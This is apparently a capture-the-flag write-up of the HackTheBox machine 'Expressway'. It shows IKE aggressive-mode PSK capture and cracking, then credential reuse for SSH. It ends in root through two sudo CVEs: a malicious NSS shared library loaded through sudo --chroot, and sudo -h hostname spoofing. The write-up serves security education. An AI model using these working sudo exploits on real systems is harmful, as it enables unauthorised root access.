Expressway

Expressway is a Linux box with only SSH and an IKE VPN service on UDP. I’ll use ike-scan in aggressive mode to leak the VPN identity and capture a pre-shared key hash, which cracks quickly with hashcat. Connecting to the IPSEC VPN doesn’t provide any additional attack surface, but the PSK works for SSH access. For privilege escalation, I’ll show exploitation of two different CVEs in sudo. In Beyond Root, I’ll look at the sudo config that allowed one of the exploits and show how to connect to the IPSec VPN with strongSwan.

Box Info

Release Date 20 Sep 2025
Retire Date 07 Mar 2026
OS Linux Linux
Rated Difficulty Rated difficulty for Expressway
Radar Graph Radar chart for Expressway
User
00:07:26VXXDXX
Root
00:15:30D4rKaCe
Creator dakkmaddy

Recon

Initial Scanning

nmap finds only one open TCP port, SSH (22):

oxdf@hacky$ sudo nmap -p- -vvv --min-rate 10000 10.129.13.71
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-01 19:58 UTC
...[snip]...
Nmap scan report for 10.129.13.71
Host is up, received reset ttl 63 (0.022s latency).
Scanned at 2026-03-01 19:58:00 UTC for 7s
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 7.25 seconds
           Raw packets sent: 70778 (3.114MB) | Rcvd: 65536 (2.621MB)
oxdf@hacky$ sudo nmap -p 22 -sCV 10.129.13.71
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-01 19:59 UTC
Nmap scan report for 10.129.13.71
Host is up (0.023s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.0p2 Debian 8 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.13 seconds

Based on the OpenSSH version, the host is likely running Debian Trixie (2025).

That’s clearly not much of an attack surface. I’ll scan the top 1000 UDP ports:

oxdf@hacky$ sudo nmap -sU --min-rate 10000 10.129.13.71
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-01 20:06 UTC
Nmap scan report for 10.129.13.71
Host is up (0.023s latency).
Not shown: 995 open|filtered udp ports (no-response)
PORT      STATE  SERVICE
137/udp   closed netbios-ns
500/udp   open   isakmp
20848/udp closed unknown
40866/udp closed unknown
49640/udp closed unknown

Nmap done: 1 IP address (1 host up) scanned in 0.40 seconds
oxdf@hacky$ sudo nmap -sU -p 500 -sCV 10.129.13.71
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-01 20:07 UTC
Nmap scan report for 10.129.13.71
Host is up (0.022s latency).

PORT    STATE SERVICE VERSION
500/udp open  isakmp?
| ike-version: 
|   attributes: 
|     XAUTH
|_    Dead Peer Detection v1.0

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 155.52 seconds

500 is Internet Key Exchange (IKE), the protocol used for setting up IPSEC VPN connections.

It turns out that TFTP is open as well (UDP 69), but it’s very hard to identify with nmap (and I didn’t when enumerating). I’ll show it is open and hosting a file later.

IKE - UDP 500

The tool to enumerate IKE is ike-scan (sudo apt install ike-scan):

oxdf@hacky$ ike-scan 10.129.13.71
Starting ike-scan 1.9.5 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.13.71    Main Mode Handshake returned HDR=(CKY-R=e87be20a68db8232) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)

IKE also has a mode known as Aggressive Mode. For the Main Mode IKE exchange, there are six packets exchanged:

  1. SA proposal (encryption/hash/DH group)
  2. SA accepted
  3. Key exchange (DH public values)
  4. Key exchange response
  5. Identity + hash (encrypted)
  6. Identity + hash response (encrypted)

In Aggressive Mode, there are only three packets:

  1. SA proposal + key exchange + identity + hash (all at once)
  2. SA accepted + key exchange + hash
  3. Confirmation

Aggressive Mode is needed when the VPN server hosts multiple groups/users with different pre-shared keys (PSKs). The server needs to know the identity upfront to look up the right PSK. Main mode can’t do this because identity is encrypted, so the server would have no way to know which PSK to use for decryption.

The downside is that it leaks the identity information before any authentication is done. It is enabled on Expressway.

oxdf@hacky$ ike-scan -A 10.129.13.71
Starting ike-scan 1.9.5 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.13.71    Aggressive Mode Handshake returned HDR=(CKY-R=47b7c6c3686400a8) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, Value=ike@expressway.htb) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes)

It leaks an identity, ike@expressway.htb. I can capture the handshake and see if the PSK is crackable:

oxdf@hacky$ ike-scan -A 10.129.13.71 --pskcrack=handshake.txt
Starting ike-scan 1.9.5 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.13.71    Aggressive Mode Handshake returned HDR=(CKY-R=66937bae6c61c21c) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, Value=ike@expressway.htb) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes)

Ending ike-scan 1.9.5: 1 hosts scanned in 0.031 seconds (32.16 hosts/sec).  1 returned handshake; 0 returned notify
oxdf@hacky$ cat handshake.txt 
5f18934ade21c1ea878b43cb5dfbd15a6712c6b7e8059de5c761e96770992ec00cc936c14702418290f0234c59c22db26fb50511dda1f8b109a00312eff1b7a94eac0060a7af81a5ea0f875fa149390bfd656f705f75d5a9caf7b82164473bf6900a372e07157c818a7a61ea80dd55683e7e3e23658e974546c8a1daa7d9742c:4837a17dfc65579b94f1a9541706d23c5d05b7120404ba5661de2525d499ef9e2589cea69e4d5232c9bcecfa6a4d8337773e09e77db5ecb83c06c6f2cc285bb13faf57f0703ac4c0c3be94160eb21ba7c51424a0942959139248fb27194a51226491897e11fe0bc8039005efae6602999b0b32c902bde47cdbb44d224afd05e8:66937bae6c61c21c:56832105b4a63bf2:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e687462:a0f93a12e5983e779063b92ed29237ec3f2676f3:62411bb2501244c6e6e39b44fc811d0834de3d06201a97900e16436c6243cfbe:c4d7d30dc03e5ac1d5f03f015fbf88de1078b4b1

hashcat is able to recognize the format and cracks it in 11 seconds on my host:

$ hashcat handshake.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v7.1.2) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

5400 | IKE-PSK SHA1 | Network Protocol
...[snip]...
5f18934ade21c1ea878b43cb5dfbd15a6712c6b7e8059de5c761e96770992ec00cc936c14702418290f0234c59c22db26fb50511dda1f8b109a00312eff1b7a94eac0060a7af81a5ea0f875fa149390bfd656f705f75d5a9caf7b82164473bf6900a372e07157c818a7a61ea80dd55683e7e3e23658e974546c8a1daa7d9742c:4837a17dfc65579b94f1a9541706d23c5d05b7120404ba5661de2525d499ef9e2589cea69e4d5232c9bcecfa6a4d8337773e09e77db5ecb83c06c6f2cc285bb13faf57f0703ac4c0c3be94160eb21ba7c51424a0942959139248fb27194a51226491897e11fe0bc8039005efae6602999b0b32c902bde47cdbb44d224afd05e8:66937bae6c61c21c:56832105b4a63bf2:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e68:a0f93a12e5983e779063b92ed29237ec3f2676f3:62411bb2501244c6e6e39b44fc811d0834de3d06201a97900e16436c6243cfbe:c4d7d30dc03e5ac1d5f03f015fbf88de1078b4b1:freakingrockstarontheroad
...[snip]...

With this PSK, I can connect to the IPSEC VPN, but I don’t need to. I’ll do that in Beyond Root.

Shell as ike

With SSH open and a username and password, I’ll check if that works:

oxdf@hacky$ netexec ssh 10.129.13.71 -u ike -p freakingrockstarontheroad
SSH         10.129.13.71    22     10.129.13.71     [*] SSH-2.0-OpenSSH_10.0p2 Debian-8
SSH         10.129.13.71    22     10.129.13.71     [+] ike:freakingrockstarontheroad  Linux - Shell access!

It does! I’ll connect:

oxdf@hacky$ sshpass -p freakingrockstarontheroad ssh ike@10.129.13.71
...[snip]...
Linux expressway.htb 6.16.7+deb14-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.16.7-1 (2025-09-11) x86_64
...[snip]...
ike@expressway:~$ 

And grab user.txt:

ike@expressway:~$ cat user.txt
df75d613************************

Shell as root

Enumeration

Users

ike’s home directory is pretty bare:

ike@expressway:~$ ls -la
total 32
drwx------ 4 ike  ike  4096 Sep 16 10:23 .
drwxr-xr-x 3 root root 4096 Aug 14  2025 ..
lrwxrwxrwx 1 root root    9 Aug 29  2025 .bash_history -> /dev/null
-rw-r--r-- 1 ike  ike   220 May 18  2025 .bash_logout
-rw-r--r-- 1 ike  ike  3526 Aug 28  2025 .bashrc
drwxr-xr-x 3 ike  ike  4096 Aug 28  2025 .local
-rw-r--r-- 1 ike  ike   807 May 18  2025 .profile
drwx------ 2 ike  ike  4096 Sep 16 10:21 .ssh
-rw-r----- 1 root ike    33 Mar  1 19:56 user.txt

There is an SSH keypair in .ssh, but that doesn’t gain any additional access.

There are no other user home directories in /home, and no other non-root users with shells in passwd:

ike@expressway:/$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
ike:x:1001:1001:ike,,,:/home/ike:/bin/bash

ike can’t run any commands with sudo:

ike@expressway:/$ sudo -l 

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

For security reasons, the password you type will not be visible.

Password: 
Sorry, user ike may not run sudo on expressway.

TFTP / Cisco Config

In /srv/tftp/ciscortr.cfg there’s a Cisco config:

version 12.3

no service pad

service timestamps debug datetime msec

service timestamps log datetime msec

no service password-encryption

!

hostname expressway

!

boot-start-marker

boot-end-marker

!

enable password *****

!

username ike password *****

ip subnet-zero

ip cef

!

vpdn enable

        vpdn-group 1

        request-dialin

        protocol pppoe



!

ip dhcp excluded-address 10.0.1.1 10.0.1.10

ip dhcp excluded-address 10.0.2.1 10.0.2.10

ip dhcp excluded-address 10.0.3.1 10.0.3.10

!

ip dhcp pool vlan1

   network 10.0.1.0 255.255.255.0

   default-router 10.0.1.1

!

ip dhcp pool vlan2

   network 10.0.2.0 255.255.255.0

   default-router 10.0.2.1

!

ip dhcp pool vlan3

   network 10.0.3.0 255.255.255.0

   default-router 10.0.3.1

!

ip ips po max-events 100

no ftp-server write-enable

!

bridge irb

!

interface FastEthernet0

        no ip address

!

interface FastEthernet1

        no ip address

!

interface FastEthernet2

        no ip address

!

interface FastEthernet3

        switchport mode trunk

        no ip address

!

interface FastEthernet4

        ip address 192.168.68.1 255.255.255.0

        no ip directed-broadcast (default)

        speed auto

        ip nat outside

        ip access-group 103 in

        no cdp enable

        crypto ipsec client ezvpn ezvpnclient outside

        crypto map static-map

!

crypto isakmp policy 1

        encryption 3des

        authentication pre-share

        group 2

        lifetime 480

!

crypto isakmp client configuration group rtr-remote

        key secret-password

        dns 208.67.222.222

        domain expressway.htb

        pool dynpool

!

crypto ipsec transform-set vpn1 esp-3des esp-md5

!

crypto ipsec security-association lifetime seconds 86400

!

crypto dynamic-map dynmap 1

        set transform-set vpn1

        reverse-route

!

crypto map static-map 1 ipsec-isakmp dynamic dynmap

crypto map dynmap isakmp authorization list rtr-remote

crypto map dynmap client configuration address respond

crypto ipsec client ezvpn ezvpnclient

        connect auto

        group 2 key secret-password

        mode client

        peer 192.168.100.1

!

interface Dot11Radio0

        no ip address

        !

        broadcast-key vlan 1 change 45

        !

        encryption vlan 1 mode ciphers tkip

        !

        ssid cisco

                vlan 1

                authentication open

                authentication network-eap eap_methods

                authentication key-management wpa optional

        !

        ssid ciscowep

                vlan 2

                authentication open

                !

        ssid ciscowpa

                vlan 3

                authentication open

        !

        speed basic-1.0 basic-2.0 basic-5.5 6.0 9.0 basic-11.0 12.0 18.0 24.0 36.0 48.0 54.0

        rts threshold 2312

        power local cck 50

        power local ofdm 30

        channel 2462

        station-role root

!

interface Dot11Radio0.1

        description Cisco Open

        encapsulation dot1Q 1 native

        no cdp enable

        bridge-group 1

        bridge-group 1 subscriber-loop-control

        bridge-group 1 spanning-disabled

        bridge-group 1 block-unknown-source

        no bridge-group 1 source-learning

        no bridge-group 1 unicast-flooding

!

interface Dot11Radio0.2

        encapsulation dot1Q 2

        bridge-group 2

        bridge-group 2 subscriber-loop-control

        bridge-group 2 spanning-disabled

        bridge-group 2 block-unknown-source

        no bridge-group 2 source-learning

        no bridge-group 2 unicast-flooding

!

interface Dot11Radio0.3

        encapsulation dot1Q 3

        bridge-group 3

        bridge-group 3 subscriber-loop-control

        bridge-group 3 spanning-disabled

        bridge-group 3 block-unknown-source

        no bridge-group 3 source-learning

        no bridge-group 3 unicast-flooding

!

interface Vlan1

        no ip address

        no ip directed-broadcast (default)

        ip nat inside

        crypto ipsec client ezvpn ezvpnclient inside

        ip inspect firewall in

        no cdp enable

        bridge-group 1

        bridge-group 1 spanning-disabled

!

interface Vlan2

        no ip address

        bridge-group 2

        bridge-group 2 spanning-disabled

!

interface Vlan3

        no ip address

        bridge-group 3

        bridge-group 3 spanning-disabled

!

interface BVI1

        ip address 10.0.1.1 255.255.255.0

!

interface BVI2

        ip address 10.0.2.1 255.255.255.0

!

ip classless

!

ip http server

no ip http secure-server

!

control-plane

!

bridge 1 route ip

bridge 2 route ip

bridge 3 route ip

!

ip inspect name firewall tcp

ip inspect name firewall udp

!

access-list 103 permit udp host 200.1.1.1 any eq isakmp

access-list 103 permit udp host 200.1.1.1 eq isakmp any

no cdp run

!

line con 0

        password *****

        no modem enable

        transport preferred all

        transport output all

line aux 0

        transport preferred all

        transport output all

line vty 0 4

        password *****

        transport preferred all

        transport input all

        transport output all

It contains credentials, but they are all masked as “*”s:

  • enable password *****
  • username ike password *****
  • Both line con 0 and line vty 0 4 have password *****

The VPN config shows a peer at 192.168.100.1. There’s also three VLANs with DHCP pools: 10.0.1.0/24, 10.0.2.0/24, 10.0.3.0/24. There are three wireless SSIDs: cisco, ciscowep, ciscowpa.

I wasn’t able to identify TFTP earlier, and even if I had, TFTP doesn’t allow directory listing. But knowing the name of the file here I can get it remotely:

oxdf@hacky$ curl tftp://10.129.13.71/ciscortr.cfg -s | head

version 12.3

no service pad

service timestamps debug datetime msec

service timestamps log datetime msec

no service password-encryption

Squid

Squid proxy is installed on the system in /etc:

ike@expressway:/etc/squid$ ls
conf.d  errorpage.css  squid.conf  squid.conf.dpkg-dist

There are also access logs in /var/log/squid:

ike@expressway:/var/log/squid$ ls
access.log.1  access.log.2.gz  cache.log.1  cache.log.2.gz

It doesn’t appear to be running, as it’s not in the process list nor is anything listening on 3128.

sudo

The SetUID binaries on Expressway look pretty normal at first glance:

ike@expressway:/$ find / -perm -4000 -type f 2>/dev/null
/usr/sbin/exim4
/usr/local/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/sudo
/usr/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/newgrp
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper

The weird thing is that there are two copies of sudo, and /usr/local/bin is a weird place to have sudo. It typically comes installed by default and is located in /usr/bin. The copy in /usr/local/bin suggests that it was manually installed or compiled.

The versions are different:

ike@expressway:/$ /usr/bin/sudo --version
Sudo version 1.9.13p3
Sudoers policy plugin version 1.9.13p3
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.13p3
Sudoers audit plugin version 1.9.13p3
ike@expressway:/$ /usr/local/bin/sudo --version
Sudo version 1.9.17
Sudoers policy plugin version 1.9.17
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.17
Sudoers audit plugin version 1.9.17

CVE Identification

Searching for vulnerabilities in this version of sudo returns a bunch of articles:

image-20260301164830715

There are two CVEs cited over and over, CVE-2025-32462 and CVE-2025-32463. CVE-2025-32463 is the much easier path, but the intended path is CVE-2025-32462. I’ll show both.

CVE-2025-32463

Background

NIST describes CVE-2025-32463 as:

Sudo before 1.9.17p1 allows local users to obtain root access because /etc/nsswitch.conf from a user-controlled directory is used with the –chroot option.

This vulnerability applies to 1.9.14 - 1.9.17.

According to the man page, the --chroot option:

-R directory, --chroot=directory
    Change to the specified root directory (see chroot(8))
    before running the command.  The security policy may
    return an error if the user does not have permission to
    specify the root directory.

    This option is deprecated and will be removed in a future
    version of sudo,.

In sudo 1.9.14, a change was introduced to resolve paths via chroot() while the sudoers file was still being parsed. This means sudo enters the attacker-controlled chroot before it finishes evaluating the security policy.

The common abuse path here is the Name Service Switch configuration file, nsswitch.conf, which tells the system where to look up various types of information like:

  • passwd/group — user accounts and groups (local files, LDAP, NIS)
  • hosts — hostname resolution (files, DNS)
  • shadow — password hashes

A typical entry looks like:

passwd:  files ldap
hosts:   files dns

This means “for user lookups, check /etc/passwd first, then LDAP.” Each source is backed by a shared library. files loads libnss_files.so, ldap loads libnss_ldap.so, etc.

To exploit this, an attacker can:

  1. Create a writable directory with a fake /etc/nsswitch.conf
  2. Point nsswitch.conf to a malicious libnss_*.so shared library
  3. Run sudo -R /attacker/controlled/path <command>
  4. sudo chroots into the attacker’s directory, reads the fake nsswitch.conf, and loads the malicious library as root

Exploit

There are numerous POC scripts out there (such as this one from K1tt3h), but I’ll just do the steps manually.

I need a directory to work from, so I’ll use mktemp to get a directory and go to it:

ike@expressway:/$ STAGE=$(mktemp -d)
ike@expressway:/$ cd $STAGE
ike@expressway:/tmp/tmp.AEMIRU8Jqx$

In here, I’m going to create the following directory structure:

📁 ./# STAGE
├── 📁 newroot/
│ └── 📁 etc/
│ └── 📄 nsswitch.conf# passwd: /0xdf
├── 📁 libnss_/
│ └── 📄 0xdf.so.2# malicious shared library
└── 📄 0xdf.c

Start with the directories:

ike@expressway:/tmp/tmp.AEMIRU8Jqx$ mkdir -p newroot/etc libnss_
ike@expressway:/tmp/tmp.AEMIRU8Jqx$ ls
libnss_  newroot

Inside etc I’ll create my malicious nsswitch.conf:

ike@expressway:/tmp/tmp.AEMIRU8Jqx$ echo "passwd: /0xdf" > newroot/etc/nsswitch.conf

When glibc loads this config, it will prepend libnss_ to the source name and append .so.2, in this case making libnss_/0xdf.so.2 and try to load that.

chroot won’t change the current directory, so it will try to resolve libnss_/0xdf.so.2 from my current directory, and find my malicious library. I just need to create that:

#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void oxdf(void) {
    setreuid(0, 0);
    setregid(0, 0);
    chdir("/");
    execl("/bin/bash", "/bin/bash", NULL);
}

This is a simple library with a constructor function that will run on load, make sure it’s running as root from the / directory, and then run bash.

I’ll compile that into place:

ike@expressway:/tmp/tmp.AEMIRU8Jqx$ gcc -shared -fPIC -o libnss_/0xdf.so.2 0xdf.c
ike@expressway:/tmp/tmp.AEMIRU8Jqx$ file libnss_/0xdf.so.2 
libnss_/0xdf.so.2: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=90492fb90da26e947f22402eb41bfcfed3874a4f, not stripped

The POC uses -Wl,-init,<function name> to explicitly set the DT_INIT entry to that function at the linker. If that’s there, the function name must match the constructor function name (oxdf in this case, xd1337 in the POC). But given this already has __attribute__((constructor)), I don’t need to pass it at all.

To trigger the exploit, I’ll run sudo specifying the root of newroot:

ike@expressway:/tmp/tmp.AEMIRU8Jqx$ sudo --chroot newroot true
root@expressway:/# 

Before it can run true, it loads 0xdf.so.2 and drops into bash. I’m able to get the flag:

root@expressway:/# cat root/root.txt
6b8be400************************

This does not work with the typical sudo install:

ike@expressway:/tmp/tmp.AEMIRU8Jqx$ /usr/bin/sudo --chroot newroot true
[sudo] password for ike: 
sudo: you are not permitted to use the -R option with true

1.9.13p3 is before the vulnerability was introduced.

CVE-2025-32462

Background

NIST describes CVE-2025-32462 as:

Sudo before 1.9.17p1, when used with a sudoers file that specifies a host that is neither the current host nor ALL, allows listed users to execute commands on unintended machines.

This actually impacts versions 1.8.8 through 1.9.17, which is both sudo instances on Expressway.

sudo supports host-based restrictions in /etc/sudoers, allowing administrators to grant different privileges depending on which host a user is on. This is common in environments where a single sudoers file is distributed across multiple servers. A user might get root on dev boxes but not on production.

The -h flag lets users specify a target hostname. Vulnerable versions use this user-supplied hostname for policy evaluation instead of the actual system hostname. This means a user can spoof the hostname to match a permissive rule that was never intended to apply to the current machine.

Identify Hosts

For this exploit to work, I’ll need to guess a hostname that might be defined in the sudoers file. Some recursive grep around the host in places that might have hostnames will find this reference to offramp.expressway.htb in a Squid proxy log:

ike@expressway:/var/log$ grep -r expressway 2>/dev/null
squid/access.log.1:1753229688.902      0 192.168.68.50 TCP_DENIED/403 3807 GET http://offramp.expressway.htb - HIER_NONE/- text/html

This is odd, as I’ve seen no evidence that squid is actually running on the host. Were I designing this box and intending this to be the path, I would have included this host in hosts and the Cisco config and elsewhere to make it seem more natural.

Exploit

The exploit is quite simple. I just run sudo with the -h <host> option, and if that host is specified in the /etc/sudoers file, it’ll run:

ike@expressway:/$ sudo -h offramp.expressway.htb id
uid=0(root) gid=0(root) groups=0(root)

It worked! If I use some other host or without -h, it doesn’t:

ike@expressway:/$ sudo -h doesnotexist.expressway.htb id
Password: 
ike is not allowed to run sudo on doesnotexist.
ike@expressway:/$ sudo id
Password: 
ike is not allowed to run sudo on expressway.
ike@expressway:/$ sudo -h expressway.htb id
Password: 
ike is not allowed to run sudo on expressway.

-i with sudo gives a shell:

ike@expressway:/$ sudo -h offramp.expressway.htb -i
root@expressway:~#

And the flag:

root@expressway:~# cat root.txt
6b8be400************************

It’s worth noting that this vulnerability is in both versions of sudo on this host:

ike@expressway:/$ /usr/bin/sudo -h offramp.expressway.htb -i
sudo: unable to resolve host offramp.expressway.htb: Temporary failure in name resolution
Last login: Mon Mar  2 12:05:47 GMT 2026 on pts/1
root@expressway:~#

It’s not clear to me why the legit installed one needs to do a DNS resolution first (and thus hangs since the domain is not defined) but the local one doesn’t. It’s also not clear why this box has two versions of sudo.

Beyond Root

sudo Config

The sudoers file on Expressway is:

#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults        env_reset
Defaults        mail_badpass
Defaults        secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

# This fixes CVE-2005-4890 and possibly breaks some versions of kdesu
# (#1011624, https://bugs.kde.org/show_bug.cgi?id=452532)
Defaults        use_pty

...[snip comments]...

# Host alias specification
Host_Alias     SERVERS        = expressway.htb, offramp.expressway.htb
Host_Alias     PROD           = expressway.htb
ike            SERVERS, !PROD = NOPASSWD:ALL
ike         offramp.expressway.htb  = NOPASSWD:ALL
# User alias specification

# Cmnd alias specification

# User privilege specification
root    ALL=(ALL:ALL) ALL
#svcMaestro ALL=(ALL:ALL) NOPASSWD: ALL
#ike ALL=(axl) NOPASSWD: /usr/local/sbin/dosconverter
# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "@include" directives:

@includedir /etc/sudoers.d

This intends to grant ike passwordless root only on offramp.expressway.htb, explicitly excluding expressway.htb (production). sudo checks the spoofed hostname against the sudoers rules, matches offramp.expressway.htb, and grants root, despite running on expressway.htb where it should be denied.

Connecting IPSEC VPN

Having identified the user (ike) and the PSK, I can now connect using strongSwan (sudo apt install strongswan). I’ll edit /etc/ipsec.conf:

config setup

conn expressway
  keyexchange=ikev1
  aggressive=yes
  authby=psk
  xauth=client
  left=%defaultroute
  leftid=ike@expressway.htb
  right=10.129.13.71
  rightid=ike@expressway.htb
  rightsubnet=10.0.0.0/8
  ike=3des-sha1-modp1024!
  esp=3des-sha1!
  auto=add
  type=tunnel

I’ll also add the connection authentication information to /etc/ipsec.secrets:

ike@expressway.htb : PSK "freakingrockstarontheroad"

Now I start it:

oxdf@hacky$ sudo ipsec restart
Stopping strongSwan IPsec...
Starting strongSwan 5.9.13 IPsec [starter]...
oxdf@hacky$ sudo ipsec up expressway
initiating Aggressive Mode IKE_SA expressway[1] to 10.129.13.71
generating AGGRESSIVE request 0 [ SA KE No ID V V V V V ]
sending packet: from 10.10.14.60[500] to 10.129.13.71[500] (370 bytes)
received packet: from 10.129.13.71[500] to 10.10.14.60[500] (422 bytes)
parsed AGGRESSIVE response 0 [ SA KE No ID V V V V NAT-D NAT-D HASH ]
received XAuth vendor ID
received DPD vendor ID
received FRAGMENTATION vendor ID
received NAT-T (RFC 3947) vendor ID
selected proposal: IKE:3DES_CBC/HMAC_SHA1_96/PRF_HMAC_SHA1/MODP_1024
IKE_SA expressway[1] established between 10.10.14.60[ike@expressway.htb]...10.129.13.71[ike@expressway.htb]
scheduling reauthentication in 9983s
maximum IKE_SA lifetime 10523s
generating AGGRESSIVE request 0 [ HASH NAT-D NAT-D ]
sending packet: from 10.10.14.60[500] to 10.129.13.71[500] (108 bytes)
generating QUICK_MODE request 2816494625 [ HASH SA No ID ID ]
sending packet: from 10.10.14.60[500] to 10.129.13.71[500] (164 bytes)
sending retransmit 1 of request message ID 2816494625, seq 3
sending packet: from 10.10.14.60[500] to 10.129.13.71[500] (164 bytes)
received packet: from 10.129.13.71[500] to 10.10.14.60[500] (164 bytes)
parsed QUICK_MODE response 2816494625 [ HASH SA No ID ID ]
selected proposal: ESP:3DES_CBC/HMAC_SHA1_96/NO_EXT_SEQ
CHILD_SA expressway{1} established with SPIs c8c88dc3_i c131fe7c_o and TS 10.10.14.60/32 === 10.129.13.71/32
generating QUICK_MODE request 2816494625 [ HASH ]
connection 'expressway' established successfully

Having this connection doesn’t open up anything new in this case.

oxdf@hacky$ sudo ipsec stop
Stopping strongSwan IPsec...